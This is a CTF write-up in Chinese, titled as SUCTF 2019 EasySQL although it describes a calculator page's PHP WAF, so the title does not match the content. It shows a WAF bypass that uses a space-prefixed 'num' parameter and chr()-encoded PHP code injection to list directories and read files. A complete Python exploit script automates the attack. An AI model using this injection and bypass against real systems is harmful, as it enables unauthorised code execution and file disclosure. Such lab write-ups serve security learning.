CTF_EXP03: [SUCTF 2019] EasySQL
启动靶机,打开页面:
一个简单的计算器页面,查看网页源码:
提示设置了WAF以确保安全,尝试访问calc.php
:
得到了WAF源码,分析代码:
- 需要传入变量
num
的值 - 设置了一系列
黑名单
的值 - 如果传入的变量
num
中有黑名单包括的符号,将终止程序 - 否则将输出
num
的内容
根据PHP的解析规则:如果变量前面有空格,会去掉前面的空格再解析
WAF限制了参数num
,将传入的参数'num'
前添加空格
,即'? num'
可绕过WAF的判断,将字符/
使用char(47)
表示:
? num=1;var_dump(scandir(chr(47)))
在返回的文件中有f1agg
文件,将其转化为ASCII
编码,使用file_get_contents()
函数读取文件:
? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
得到flag
EXP如下:
# -*- coding:utf-8 -*-
# name: Meng
# mail: 614886708@qq.com
# ctf_exp03: [SUCTF 2019] EasySQL
import requests
import re
class Calculator:
def __init__(self, url_input):
# 对输入的url做补全与检验
self.url = url_input
if self.url.endswith('/'):
self.url = url_input + 'calc.php'
elif re.compile(r".*[0-9]$").match(self.url):
self.url = url_input + '/calc.php'
elif self.url.endswith('calc.php'):
pass
else:
print('链接有误! 请重试!')
exit()
self.flag = '' # flag
self.s = requests.Session()
def bypass_waf(self):
# 如果传入的变量num中有黑名单包括的符号,将终止程序,否则将输出num的内容
# PHP的解析规则:如果变量前面有空格,会去掉前面的空格再解析
# 根据规则构造传参
while True:
try:
# 查看文件列表回显
source_dir = self.s.get(self.url + '? num=1;var_dump(scandir(chr(47)))').text
if re.search(r'f1agg', source_dir).group() is None:
print('未发现文件列表回显! 请检查重试!')
exit()
# 使用 file_get_contents() 函数读取文件
data = '? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))'
source_flag = self.s.get(self.url + data).text
self.flag = re.search(r'flag\{.+\}', source_flag).group()
except:
print('未发现flag! 请重试!')
exit()
else:
break
def run(self):
self.bypass_waf()
return self.flag
if __name__ == '__main__':
print('ctf_exp03: [SUCTF 2019] EasySQL')
url_input = input('请输入题目链接:')
print(Calculator(url_input).run())
input() # 防止退出cmd
输入题目链接,得到flag: